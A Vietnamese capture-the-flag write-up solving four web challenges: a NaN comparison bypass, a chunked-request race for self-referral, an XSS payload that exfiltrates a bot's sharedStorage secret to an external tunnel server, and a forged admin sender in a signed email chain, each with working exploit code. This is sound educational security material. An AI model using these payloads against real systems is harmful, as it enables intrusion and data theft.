## web/cookie-recipes-v3
`index.js`
```python!
...
app.post('/bake', (req, res) => {
const number = req.query.number
if (!number) {
res.end('missing number')
} else if (number.length <= 2) {
cookies.set(req.user, (cookies.get(req.user) ?? 0) + Number(number))
res.end(cookies.get(req.user).toString())
} else {
res.end('that is too many cookies')
}
})
...
app.post('/deliver', (req, res) => {
const current = cookies.get(req.user) ?? 0
const target = 1_000_000_000
if (current < target) {
res.end(`not enough (need ${target - current}) more`)
} else {
res.end(process.env.FLAG)
}
})
```
### Hình thành ý tưởng.
Ta chú ý tới 2 route trên (lưu ý: req.user thực chất là một chuỗi string được lưu ở cookie của trình duyệt, là key của biến Map `cookies`), nhận thấy rằng, `Number(number)` có thể trả về `NaN` theo dữ liệu đầu vào của ta.
Ngoài ra, NaN không được coi là một kiểu `nullish`, vậy nên biến `current` có thể mang giá trị `NaN`.
Biết rằng, mọi phép so sánh thứ tự với `NaN` luôn trả về `false`.
Vậy ta chỉ cần đưa `current` về giá trị `NaN` là được.
### Các bước thực hiện.
Truy vấn `POST` tới `/bake`: `/bake?number=xyz` ( `xyz` ở đây có thể là giá trị không phải số bất kỳ).
Truy vấn `POST` tới `/deliver`: `/deliver`.
Và ta lấy được flag.
## web/pyramid
### Hình thành ý tưởng.
```python=
const users = new Map()
const codes = new Map()
```
`users` và `codes` là hai biến toàn cục của chương trình. Với các cặp `key/value` với ý nghĩa sau:
* `users`: (one-to-one)`token` $\rightarrow$`user`, với `token` ở đây là một biến `string` ngẫu nhiên và `user` là một `Object` lưu các thông tin của người dùng, cùng với một `code`.
* `codes`: (many-to-one)`code` $\rightarrow$ `token`, `code` ở đây cũng là một `string` ngẫu nhiên, ánh xạ tới một `token` ở `users`.
<details>
```python=
app.get('/buy', (req, res) => {
if (req.user) {
const user = req.user
if (user.bal > 100_000_000_000) {
user.bal -= 100_000_000_000
res.type('html').end(`
${css}
<h1>Successful purchase</h1>
<p>${process.env.FLAG}</p>
`)
return
}
}
res.type('html').end(`
${css}
<h1>Not enough coins</h1>
<a href="/">Home</a>
`)
})
```
</details>
Mục tiêu của chúng ta là làm cho `user.bal > 100_000_000`.
Route duy nhất tác động lên `user.bal` là route sau:
<details>
```python!
app.get('/cashout', (req, res) => {
if (req.user) {
const u = req.user
const r = referrer(u.code)
if (r) {
[u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
} else {
[u.ref, u.bal] = [0, u.bal + u.ref]
}
}
res.redirect('/')
})
```
</details>
Ta thấy trường `bal` phụ thuộc vào trường `ref`.
Route duy nhất ảnh hưởng tới trường `ref` là:
<details>
```python!
app.post('/new', (req, res) => {
const token = random()
const body = []
req.on('data', Array.prototype.push.bind(body))
req.on('end', () => {
console.log("Finish receiving data")
const data = Buffer.concat(body).toString()
const parsed = new URLSearchParams(data)
const name = parsed.get('name')?.toString() ?? 'JD'
const code = parsed.get('refer') ?? null
// referrer receives the referral
const r = referrer(code)
if (r) { r.ref += 1 }
users.set(token, {
name,
code,
ref: 0,
bal: 0,
})
})
res.header('set-cookie', `token=${token}`)
res.redirect('/')
})
```
</details>
Đây là route để tạo mới `user`, trên đó ta được quyền đặt tên và `code` của người giới thiệu cho `user` mới, còn `ref` và `bal` được cài đặt cứng bằng 0.
nếu phép ánh xạ `code` $\rightarrow$ `token` $\rightarrow$ `user` hợp lệ thì user được ánh xạ tới sẽ được cộng `ref` lên `1` như một hình thức hoa hồng.
#### Tìm cách đạt số dư một trăm tỷ
:::danger
Ta không thể thực hiện `GET /new` một trăm tỷ lần để tăng `ref` đến đúng hạn mức được.
:::
Cùng xem lại route `cashout` nhé:
```python!
...
if (r) {
[u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
} else {
[u.ref, u.bal] = [0, u.bal + u.ref]
}
...
```
Ta thấy tổng của `ref` và `bal` được bảo toàn, khi `u.ref` được phân bổ qua các biến khác mà không có hao hụt.
##### Hay là không?
:::info
Nghĩ đến một trường hợp đặc biệt, khi `r` và `u` là một?
:::
Khi đó, giá trị của mảng vế phải là [0, $\frac{3}{2} u.ref$, $u.bal$ + $\frac{u.ref}{2}$].
Vì giá trị được gán từ trái sang phải, nên cuối cùng ta sẽ có:
* $u.\text{bal} = u.\text{bal} + u.\text{ref}$
* $u.\text{ref} = \frac{3}{2} u.\text{ref}$,
Vậy ta có thể tăng `user.ref` theo cấp số nhân công bội $\frac{3}{2}$ theo cách này.
:::warning
:question: Vấn đề là, làm sao để user giới thiệu tới chính nó?
:::
`code` giới thiệu được sinh qua route:
:::spoiler
```python!
app.get('/code', (req, res) => {
const token = req.token
if (token) {
const code = random()
codes.set(code, token)
res.type('html').end(`
${css}
<h1>Referral code generated</h1>
<p>Your code: <strong>${code}</strong></p>
<a href="/">Home</a>
`)
return
}
res.end()
})
```
:::
:::info
:bulb: Ta cần`token` của `user` để tạo được `code` giới thiệu.
:::
Token của `user` được tạo hoàn toàn ngẫu nhiên, và `code` của người giới thiệu nó phải được truyền tới cùng một truy vấn `http` khi `user` được tạo.
Vậy làm sao để thoát khỏi vòng luẩn quẩn này?
```python!
app.post('/new', (req, res) => {
const token = random()
const body = []
req.on('data', Array.prototype.push.bind(body))
req.on('end', () => {
console.log("Finish receiving data")
const data = Buffer.concat(body).toString()
const parsed = new URLSearchParams(data)
const name = parsed.get('name')?.toString() ?? 'JD'
const code = parsed.get('refer') ?? null
// referrer receives the referral
const r = referrer(code)
if (r) { r.ref += 1 }
users.set(token, {
name,
code,
ref: 0,
bal: 0,
})
})
res.header('set-cookie', `token=${token}`)
res.redirect('/')
})
```
Nhìn lại `route` tạo `user`, ta nhận thấy:
:::warning
:question: Vì sao lại sử dụng sự kiện`req.on` để lấy dữ liệu mà không phải `req.body` dựng sẵn của `express`?
:::
Vì sử dụng `req.on` nên ``res.header('set-cookie', `token=${token}`);res.redirect('/')`` được thực hiện trước.

Trên wireshark, ta có thể thấy, khi gói tin là gói tin dài, thì response đã được trả về trước khi chuỗi request được truyền đi hết.
Sở dĩ có điều này là bởi lệnh xử lý `data` chỉ được thực hiện khi `data` đã truyền xong, được thực hiện bởi bắt `event end` trong vòng lặp sự kiện, trong khi đó response đã được tính ngay mà không bị đẩy vào vòng lặp sự kiện như lệnh tái tạo dữ liệu và tạo `user` mới.
### Triển khai
Ở giao thức `http`, ta có thể sử dụng `chunked` encoding để gửi `request`, khi đó ta có thể gửi phần `headers` truy vấn trước, và `body` dữ liệu sau.
```python=
conn = http.client.HTTPSConnection("pyramid.dicec.tf", 443)
# conn = http.client.HTTPConnection("localhost", 3000)
headers = {
"Transfer-Encoding": "chunked",
"Content-Type": "text/plain"
}
conn.putrequest("POST", "/new")
for header, value in headers.items():
conn.putheader(header, value)
conn.endheaders()
```
Lưu ý là khi này `request` vẫn đang duy trì kết nối, nhưng ta có thể nhận trước `response` bằng lệnh sau:
```python!
response = conn.getresponse()
```
Khi có `response` rồi, ta phân tích và lấy token ra:
```python
token = response.getheader("set-cookie").split("=")[1].split(";")[0]
```
Sau đó ta lấy `code` tương ứng với `token` từ server:
```python=
response_text = requests.get("https://pyramid.dicec.tf/code",
cookies={"token": token}
).text
match = re.search(r"Your code: <strong>([a-f0-9]{32})</strong>",
response_text)
referral_code = match.group(1)
```
Sau khi có `code`, ta gửi phần chunk body cho server, rồi gửi chunk kết thúc bằng `0\r\n\r\n` để kết thúc request (gọi `event end`).
```python=
conn.send(f"{len(payload):X}\r\n{payload}\r\n".encode())
conn.send(b"0\r\n\r\n")
```
Vậy ta đã hoàn thành việc tạo một `user` mà người giới thiệu là chính nó.
Code chi tiết như sau:
:::spoiler
```python=
import http.client
from time import sleep
import requests
import re
def make_chunked_post_request():
conn = http.client.HTTPSConnection("pyramid.dicec.tf", 443)
# conn = http.client.HTTPConnection("localhost", 3000)
headers = {
"Transfer-Encoding": "chunked",
"Content-Type": "application/json"
}
conn.putrequest("POST", "/new")
for header, value in headers.items():
conn.putheader(header, value)
conn.endheaders()
print("Sending initial payload...")
response = conn.getresponse()
print("Getting response")
token = response.getheader("set-cookie").split("=")[1].split(";")[0]
response_text = requests.get("https://pyramid.dicec.tf/code",
cookies={"token": token}
).text
match = re.search(r"Your code: <strong>([a-f0-9]{32})</strong>",
response_text)
referral_code = match.group(1)
print(f"Referral Code: {referral_code}")
print("Token: ", token)
payload = f"refer={referral_code}"
conn.send(f"{len(payload):X}\r\n{payload}\r\n".encode())
conn.send(b"0\r\n\r\n")
print(response.read().decode())
if __name__ == "__main__":
make_chunked_post_request()
:::
Sau đó ta chỉ cần giới thiệu một lần để có số dư ban đầu bằng `1`, sau đó `GET /cashout` 63 lần, ta sẽ có số dư là 1.5^63^ > 10^11^.
Rồi cuối cùng, thực hiện thanh toán bằng `GET /buy`, ta có flag.
> Lấy token của user vừa tạo để thực hiện các thao tác trên.
## web/nobin
### Tóm tắt bài toán:
* Một trang web để lưu một khóa bí mật trong `sharedStorage`.
* Một bot được triển khai sẽ lưu khóa truy cập route `/flag` vào `sharedStorage`, sau đó truy cập tới địa chỉ mà người dùng chỉ định.
* Website trên có route `/xss` mà người dùng có toàn quyền tổ chức `html` trong đó.
### Hướng giải
Hướng giải của ta chỉ đơn giản là lấy dữ liệu từ `sharedStorage` là được.
:::info
#### [Shared Storage](https://developer.mozilla.org/en-US/docs/Web/API/Shared_Storage_API)
Là một chức năng thử nghiệm của `chromium`, là một kho lưu trữ dạng `key-value` cho phép các trang web khác nhau chia sẻ dữ liệu.
Để bảo mật, thì chỉ có thao tác ghi là diễn ra đơn giản, đối với thao tác đọc, ta phải thực hiện các bước, vào một "phòng cách ly" bị giới hạn các `api` để lấy và xử lý dữ liệu, cuối cùng thực hiện các chức năng hạn chế.
:::
Nhận thấy trong `sharedStorage` có `method` `selectURL`, tức chọn một trong số những url được cung cấp để `render` trong một [fencedFrame](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/fencedframe), trong đó bước chọn lựa được phép truy cập vào `Shared Storage` để ra quyết định.
Vậy ta sẽ sử dụng tìm kiếm nhị phân, với hai tín hiệu nhận biết là hai `URL` để chọn.
:::info
#### Vì sao không sử dụng nhiều URL hơn?
Bởi vì Shared Storage rất giới hạn số lần truy cập. Khi số lượng URL tăng lên thì số lần truy cập được giảm đi rất nhanh theo hàm số mũ, và do đó khi quá nhiều URL (trên 3) thì số lần truy cập bị giảm xuống (dưới 1) và ta không thể truy cập được.
:::
:::info
:question: Làm sao để giải quyết vấn đề bị giới hạn số lần truy cập?
✅ Trả lời: Load lại trang để reset bộ đếm.
:::
### Thực hiện
* `URL encode` đoạn code dưới rồi đưa vào `/xss` route.
:::spoiler
```html
<fencedFrame id='content-slot'/>
<script>
async function injectContent() {
const baseUrl = "https://9281e7af95c665.lhr.life";
await window.sharedStorage.worklet.addModule(`${baseUrl}/fa.js`);
for (let i = 0; i < 6; i++) {
const { id_start, id_end, flag } = await fetch(`${baseUrl}/range`).then(res => res.json());
console.log(`id_start: ${id_start}, id_end: ${id_end}, flag: ${flag}`);
if (flag == 2) break;
if (flag == 1) {
const startBig = BigInt(id_start);
const endBig = BigInt(id_end);
const mid = (startBig + endBig) / 2n;
const urlOptions = [
{ url: `${baseUrl}/?start=${startBig}&end=${mid}` },
{ url: `${baseUrl}/?start=${mid + 1n}&end=${endBig}` }
];
document.getElementById("content-slot").config = await window.sharedStorage.selectURL(
"ab-testing",
urlOptions,
{ resolveToConfig: true, keepAlive: true, data: { mid } }
);
}
await new Promise(resolve => setTimeout(resolve, 2000));
}
console.log("Hard reloading the page...");
window.location.reload(true);
}
injectContent();
</script>
```
:::
* Với đoạn `Module` `fa.js`, hãy tạo một server để host file sau:
:::spoiler
`fa.js`
```javascript
class SelectURLOperation {
async run(urls, data) {
const experimentGroup = BigInt(`0x${await sharedStorage.get("message")}`);
console.log(urls);
return (experimentGroup <= data.mid) ? 0 : 1;
}
}
register("ab-testing", SelectURLOperation);
```
:::
* Với `server` nhận truy vấn và xử lý không gian tìm kiếm, thì vì `fencedFrame` trên chỉ thực hiện truy vấn với `https`, nên ta phải tạo một server có `https` hợp lệ.
:::spoiler
`fa.py`
```python
from flask import Flask, request
from flask_cors import CORS
app = Flask(__name__)
CORS(app)
id_start = 0
id_end = 2**64-1
flag = 1
current_id = 0
@app.route('/fa.js')
def a():
return open('fa.js').read(), {'Content-Type': 'application/javascript'}
@app.route('/range')
def range_():
global id_start
global id_end
global flag
res = {'id_start': str(id_start), 'id_end': str(id_end), 'flag': flag }
flag = 0
return res
@app.route('/')
def index():
global id_start
global id_end
global flag
global current_id
id_end = request.args.get('end', '', type=int)
id_start = request.args.get('start', '', type=int)
if (id_end == id_start):
print(id_start)
flag = 2
return id_start
else:
print(id_start, id_end)
flag = 1
return [id_start, id_end]
if __name__ == '__main__':
app.run(port=6060, debug=True)
```
:::
:::info
#### Về vấn đề host với `https`.
Đối với các dịch vụ tunnel để đưa localhost lên public, thường sẽ có một trang trung gian để xác minh truy cập, trang trên chỉ được tắt nếu header có các phụ tố nhất định hoặc sử dụng bản trả phí.
Cá nhân mình sử dụng `localhost.run` để host server, vì trang sử dụng `https` và không có trang xác minh trên.
:::
* Sau khi có secret, ta tực hiện truy vấn tới `GET /flag?secret={secret}`.
## web/bad-chess-challenge
### Tóm tắt bài
Đánh cờ qua thư với stockfish.
Đề bài cho một server để nhận mail qua giao thức smtp (smtps), như sau:
* Ta gửi một mail bất kỳ tới địa chỉ `register@chess`, hệ thống sẽ gửi lại cho ta một cặp (key - cert) tương ứng với user nằm ở trường `To: `.
* Để phản hồi lại một nước đi (chơi tiếp), thì ta gửi email có chứa nước đi ta muốn chơi, đính kèm với email (file định dạng eml) chứa các nước đi trước đó (nếu là nước đầu tiên thì không cần đính kèm file).
* Ký mail trên với key và cert nhận được rồi gửi tới `admin@chess`. Hệ thống sẽ phản hồi lại nước đi của nó như với bước 2 kể trên rồi trả về cho ta.
* Nếu nước đi thứ (x) tính từ cuối là chẵn, bắt buộc lượt đó phải là của `admin@chess`.
* Nếu trắng thắng thì ta sẽ được flag.
:::spoiler
`server.ts`
```python
import { Chess } from 'chess.js'
import { ParsedMail, simpleParser, } from 'mailparser'
import { SMTPServerDataStream, SMTPServerSession } from 'smtp-server'
import { SMTPServer } from './smtp-server'
import { adminCert, adminKey, generateUser, sign, verify } from './cert'
const parse = async (raw: Buffer) => {
try {
return await simpleParser(raw);
} catch(e) {
throw new Error('invalid email!');
}
}
const parseAndVerify = async(raw: Buffer) => {
return await parse(await verify(raw));
}
const extractMoves = async (message: ParsedMail, moves: string[] = []): Promise<string[]> => {
if (moves.length > 10) {
throw new Error('chain too long!');
}
if (!message.text) {
throw new Error('invalid chain!');
}
const previous = message.attachments[0];
if (!previous) {
return [message.text.trim(), ...moves];
}
const parsed = await parse(previous.content);
if (!(moves.length % 2) && parsed.from?.text !== 'admin@chess') {
throw new Error('invalid chain!');
}
return extractMoves(await parseAndVerify(previous.content), [message.text.trim(), ...moves]);
}
const play = async (raw: Buffer, recipient: string) => {
const moves = await extractMoves(await parseAndVerify(raw));
const game = new Chess();
for (const move of moves) {
try {
game.move(move, { strict: true });
} catch(e) {
throw new Error('invalid move!');
}
if (game.isGameOver()) {
if (game.isCheckmate()) {
if (game.turn() == 'b') return process.env.FLAG ?? 'dice{flag}';
else return `${game.ascii()}\n\nloss`;
} else {
return `${game.ascii()}\n\ndraw`;
}
}
}
const move = await (await fetch('http://stockfish:8000/next', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ board: game.fen() })
})).json()
game.move(move);
const response = await sign({
to: recipient,
from: 'admin@chess',
text: move,
attachments: [{ filename: 'previous', content: raw }]
}, adminCert, adminKey);
return `${game.ascii()}\n\n${response.toString('base64').match(/(.{1,80})/g)?.join('\n')}`;
}
const register = async (username: string): Promise<string> => {
if (username === 'admin@chess' || !/^[a-z]{8,16}@chess$/.test(username)) {
throw new Error('invalid username!')
}
const { key, cert } = await generateUser(username);
return `${key}\n\n${cert}`;
}
const recv = async (stream: SMTPServerDataStream, session: SMTPServerSession): Promise<string> => {
let parts: Buffer[] = [];
for await (const part of stream) {
parts.push(part);
}
if (stream.sizeExceeded) {
throw new Error('max size exceeded!');
}
const raw = Buffer.concat(parts);
const message = await parse(raw);
if (!message.from || !message?.to || Array.isArray(message.to)) throw new Error('invalid email');
const to = message.to.text;
const from = message.from.text;
if (to == 'admin@chess') {
return await play(raw, from);
} else if (to == 'register@chess') {
return await register(from);
}
throw new Error('user not found!');
}
new SMTPServer({
name: 'bad-chess-challenge',
size: 3 * 10 ** 5,
authOptional: true,
onData: (stream: SMTPServerDataStream, session: SMTPServerSession, callback: (err?: Error | null | undefined, message?: string[]) => void) => {
recv(stream, session).then((res: string) => {
callback(null, res.replace(/\r\n/g, '\n').split('\n'));
}).catch((err: Error) => {
callback(err);
});
},
}).listen(2525).on('listening', () => {
console.log('listening');
});
```
`cert.ts`
```python
import smime from 'nodemailer-smime-plus'
import Mail from 'nodemailer/lib/mailer';
import { $ } from 'bun'
import { promisify } from 'node:util';
import { createTransport } from 'nodemailer'
export const generateUser = async (commonName: string) => {
const {stdout: key} = await $`openssl genrsa 2048`.quiet();
// why bun is so fucked i have no idea, but i can't use bun shell for this...
const subject = `/CN=${commonName}/C=US/ST=NY/L=New York/O=bad-chess-challenge`
const proc = Bun.spawn(['openssl', 'req', '-nodes', '-new', '-key', '/dev/stdin', '-subj', subject], { stdin: Buffer.from(key) });
const csr = await new Response(proc.stdout).arrayBuffer();
const {stdout: cert} = await $`openssl x509 -req -in - -days 365 -CA ca.pem -CAkey priv.pem < ${csr}`.quiet();
return { key: key.toString().trim(), cert: cert.toString().trim() }
}
export const verify = async (raw: Buffer): Promise<Buffer> => {
try {
const { stdout, stderr } = await $`openssl cms -verify -in - -CAfile ca.pem < ${Buffer.from(raw.toString() + '\n')}`.quiet();
if (stderr.toString().trim() !== 'CMS Verification successful') {
throw new Error('unsigned email!')
}
return stdout;
} catch(e) {
throw new Error('unsigned email!');
}
}
export const sign = async (email: Mail.Options, cert: string, key: string): Promise<Buffer> => {
const transport = createTransport({ streamTransport: true, buffer: true });
transport.use('stream', smime({ cert, key, chain: [] }));
const { message } = await promisify(transport.sendMail.bind(transport))(email);
transport.close();
return message;
}
export const { key: adminKey, cert: adminCert } = await generateUser('admin@chess');
```
:::
### Hướng giải
Vì quá trình xác thực chữ ký không kiểm tra xác thực người gửi, nên ta có thể điền trường `From: admin@chess` để giả làm `admin`, rồi gửi một "ván cờ giả" sao cho trắng thắng cho server.
### Thực hiện
#### Bước 1: Nhận key và cert
Ta thực hiện gửi smtp request tới server với phần `To: register@chess`, nhận được response là `key` và `cert`.
:::spoiler
```python
import socket
import ssl
import re
def get_key_and_cert(host='localhost', port=465, user='user@chess'):
context = ssl.create_default_context()
# print(context.get_ca_certs())
print(context.keylog_filename)
# Establish a secure connection
with socket.create_connection((host, port)) as sock:
with context.wrap_socket(sock, server_hostname=host) as ssock:
# with socket.create_connection((host, port)) as ssock:
# Send SMTP commands
print(ssock.recv(1024))
ssock.sendall(f"EHLO {host}\r\n".encode())
print(ssock.recv(1024))
ssock.sendall(f"MAIL FROM:<{user}>\r\n".encode())
print(ssock.recv(1024))
ssock.sendall("RCPT TO:<register@chess>\r\n".encode())
print(ssock.recv(1024))
ssock.sendall("DATA\r\n".encode())
print(ssock.recv(1024))
ssock.sendall(f"From: {user}\r\nTo: register@chess\r\nSubject: Chess Moves\r\n\r\n.\r\n".encode())
ssock.sendall("QUIT\r\n".encode())
# Receive the response
response = ssock.recv(100000)
print(response)
raw_key_cert = re.sub(br'\r\n250[\- ]', b'\n', response)
# Split and process the key and certificate
try:
raw_key, raw_cert = raw_key_cert.split(b'\n\n', 1)
key = raw_key[4:]
cert = raw_cert[:-2]
return key, cert
except ValueError:
raise ValueError("Failed to parse key and certificate from the response.")
```
:::
#### Bước 2: Soạn mail, gửi lên server và lấy flag
Ta sẽ sử dụng ván cờ sau:
```
1. e4 f5
2. a3 g5
3. Qh5#
```
sử dụng thư viện `email` có sẵn của Python để soạn mail theo đúng yêu cầu, với trường `from` và `to` mặc định đều là `admin@chess`.
(Mỗi nước đi khi soạn mail đều phải ký mail)
:::spoiler
```python
from smtplib import SMTP_SSL
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from smail import sign_message
from getkey import get_key_and_cert
from base64 import b64decode as b64d, b64encode as b64e
moves = ["e4", "f5","a3", "g5", "Qh5"]
# moves = ["z4", "f4"]
from_addr = "hoanglpvh@chess"
to_addr = "admin@chess"
subject = "Chess Moves"
key, cert = get_key_and_cert('bad-chess-challenge.dicec.tf', 1, 'hoanglpvh@chess')
raw = None
for move in moves:
# Prepare the email body
body = move
# Create the email
message = MIMEMultipart()
message["From"] = from_addr
message["To"] = to_addr
message["Subject"] = subject
# If there is a previous signed_message, parse it back to a MIMEMultipart object and attach it
if raw:
attachment = MIMEApplication(raw, "octet-stream")
attachment.add_header("Content-Disposition", "attachment", filename="previous")
message.attach(attachment)
message.attach(MIMEText(body, 'plain'))
# Sign the email using smail
signed_message = sign_message(
message,
key_signer=key,
cert_signer=cert
)
raw = signed_message.as_bytes()
# print(b64e(signed_message.as_bytes()))
print("hi")
smtp = SMTP_SSL('bad-chess-challenge.dicec.tf', port=1) # Use port 465 for SMTPS
smtp.set_debuglevel(1)
smtp.helo()
response = smtp.sendmail(from_addr, to_addr, signed_message.as_bytes())
# Close the SMTP connection
smtp.quit()
```
:::